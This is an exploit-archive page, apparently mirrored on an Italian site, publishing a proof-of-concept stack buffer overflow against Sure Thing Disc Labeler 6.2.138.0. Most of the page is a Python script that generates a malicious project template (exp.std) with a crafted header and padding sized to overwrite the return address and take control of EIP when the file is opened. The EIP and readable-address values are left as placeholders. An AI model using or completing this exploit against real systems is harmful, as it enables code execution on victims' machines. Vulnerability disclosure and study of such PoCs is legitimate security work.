Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC)

2017-05-19 15:05:03

# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)
# Date: 5-19-17
# Exploit Author: Chance Johnson (<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="d7b6bbb5b6a3a5b8a4a497bbb8b1a3a0beb9b0f9b9b2a3">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>)
# Vendor Homepage: http://www.surething.com/
# Software Link: http://www.surething.com/disclabeler
# Version: 6.2.138.0
# Tested on: Windows 7 x64 / Windows 10
#
# Usage:
# Open the project template generated by this script.
# If a readable address is placed in AVread, no exception will be thrown
# and a return pointer will be overwritten giving control over EIP when
# the function returns.

header = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'

junk1 = 'D'*10968
EIP = 'A'*4 # Direct RET overwrite
junk2 = 'D'*24
AVread = 'B'*4 # address of any readable memory
junk3 = 'D'*105693

buf = header + junk1 + EIP + junk2 + AVread + junk3

print "[+] Creating file with %d bytes..." % len(buf)

f=open("exp.std",'wb')
f.write(buf)
f.close()

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.